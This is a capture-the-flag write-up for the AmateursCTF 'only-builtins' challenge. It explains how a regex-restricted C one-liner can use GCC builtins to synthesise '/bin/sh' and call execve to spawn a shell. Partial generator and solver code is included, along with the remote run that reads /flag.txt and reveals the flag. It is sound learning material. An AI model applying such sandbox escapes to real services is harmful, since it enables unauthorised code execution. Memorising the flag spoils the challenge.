//only-builtins (AmateursCTF) Writeup
>TL;DR
-
Challenge enforces a regex so each statement must look like
__auto_type vN=__builtin_*();with only previously-declared variables as arguments. -
Crafted a payload that derives all constants/strings via
__builtin_clz*,__builtin_popcount*,__builtin_calloc,__builtin_memset,__builtin_mempcpy, and eventually calls__builtin_execveon/bin/sh. -
Built tooling (
gen_payload.py,solve.py) to regenerate the payload and talk to both the local validator and remote service. -
Remote connection (
python3 solve.py --remote amt.rs 39489) returned the flagamateursCTF{0nly_bu1lt1ns_in_C_is_much_h4rder_th4n_in_pyth0n}.
>Files of Interest
| File | Purpose |
| --- | --- |
| chal.py | Server that validates regex, compiles the provided one-liner, and executes it inside /tmp/work. |
| gen_payload.py | Deterministically constructs the allowed statement sequence and writes payload.txt. |
| payload.txt | Final exploit string consumed by the challenge. |
| solve.py | Pwntools helper to run locally or connect to the remote service and deliver the payload. |
>Understanding the Constraints
The server (chal.py) reads exactly one line and ensures it matches:
r"^(?:__auto_type v\d+=__builtin_[a-z_]+\((?:v\d+(?:,v\d+)*)?\);)+$"
Implications:
-
Every statement must declare a new
__auto_type vNand immediately assign it to a builtin call. -
All call arguments can only be previously created
vXvariables (no literals, casts, braces, etc.). -
No semicolons, braces, or includes beyond what the wrapper injects.
After the regex check the script drops the code into /tmp/work/main.c, compiles with vanilla gcc, and runs it. There is no extra linking (-lm), so only builtins that the default C runtime resolves are callable.
>Local Exploration
-
Extracted the archive and inspected
chal.py,flag.txt, andDockerfileto confirm the environment (Ubuntu 22.04, stock GCC). -
Enumerated which builtins actually link without extra libraries by compiling tiny probes (e.g.,
__builtin_memcpy,__builtin_execve, etc.). Math-only builtins like__builtin_sinfailed due to the missing math library. -
Verified runtime behavior using ad-hoc C files and
straceto ensure that invoking__builtin_execveworks when passed pointers created inside the payload.
>Payload Strategy
Main hurdles:
-
No integer literals: had to synthesize
0/1and larger integers via builtin side effects. -
No string literals: needed to write
/bin/sh\0purely via memory ops. -
Regex bans commas except inside builtin argument lists, so pointer arithmetic had to be expressed through successive mem* operations.
Key ideas:
-
__builtin_huge_val,__builtin_isgreater, and__builtin_isinf_signtogether produce deterministic zero/one constants. -
__builtin_clz,__builtin_clzll, and__builtin_popcount*derive fixed integers like 63, 31, 6, 5 which become our building blocks. -
__builtin_callocgives us writable zeroed memory; repeated__builtin_memset/__builtin_mempcpyfill buffers with crafted bytes whose lengths equal previously synthesized integers. -
__builtin_strlenreturns the length of the fabricated buffer, letting us “name” new integers for future steps. -
Once
/bin/sh\0exists in heap memory, we zero-allocate argv/env arrays and call__builtin_execve(path, argv, env).
The final serialized payload (generated automatically) sits in payload.txt. First few statements:
__auto_type v0=__builtin_huge_val();
__auto_type v1=__builtin_isgreater(v0,v0);
__auto_type v2=__builtin_isinf_sign(v0);
__auto_type v3=__builtin_clzll(v2);
...
>Generator Script (gen_payload.py)
Manually maintaining the one-liner was error-prone, so I scripted the synthesis steps.
Key helpers:
stmts=[]
next_var=0
value_vars={}
def new_var(expr):
var=f"v{next_var}"
stmts.append(f"__auto_type {var}={expr};")
next_var+=1
return var
def ensure_int(target):
if target in value_vars:
return value_vars[target]
start=clone_ptr(free_ptr)
# fill memory so strlen == target
...
length_var=new_var(f"__builtin_strlen({start})")
value_vars[target]=length_var
return length_var
Workflow:
-
Seed base constants via
init(). -
Call
ensure_intfor every integer needed (2,4,8,16,32,47,98,104,105,110,115). -
Write
/bin/shbyte-by-byte using the cached ASCII values. -
Allocate zeroed argv/env pointers and invoke
__builtin_execve.
Running python3 gen_payload.py > payload.txt keeps the payload reproducible whenever tweaks are required.
>Solver Script (solve.py)
solve.py wraps pwntools so I can reuse it for both local validation and remote exploitation:
parser = argparse.ArgumentParser(...)
parser.add_argument('--remote', nargs=2, metavar=('HOST','PORT'))
...
if args.remote:
run_remote(host, int(port_str), payload_text)
else:
run_local(payload_text)
interact() handles the common flow: send the payload, wait briefly for compilation/execution, then send /bin/cat /flag.txt followed by exit. Output is printed after a small recvrepeat window.
>Remote Exploitation
-
Generated a fresh payload:
python3 gen_payload.py > payload.txt. -
Verified locally with
python3 solve.py(optional, but ensured no regressions). -
Hit the remote challenge:
$ python3 solve.py --remote amt.rs 39489
[+] Opening connection to amt.rs on port 39489: Done
> amateursCTF{0nly_bu1lt1ns_in_C_is_much_h4rder_th4n_in_pyth0n}
[*] Closed connection to amt.rs port 39489
The shell spawned cleanly, /bin/cat /flag.txt executed, and the service returned the flag.
>Lessons Learned
-
GCC exposes many
__builtin_*functions that map to libc symbols, but only a subset link without extra flags; probing first saved time. -
__builtin_strlenplus controlled buffers is a surprisingly powerful way to mint arbitrary integers under strict literal bans. -
Automating payload generation prevented copy/paste errors and made it easy to iterate once the remote port changed.
>Reproduction Checklist
-
Ensure
/tmp/workexists or adjust permissions (the challenge expects it forTemporaryDirectory). -
Run
python3 gen_payload.py > payload.txtto emit the exploit. -
For local testing:
python3 solve.py. -
For remote:
python3 solve.py --remote amt.rs 39489(update host/port if the organizers rotate them).
Flag: amateursCTF{0nly_bu1lt1ns_in_C_is_much_h4rder_th4n_in_pyth0n}.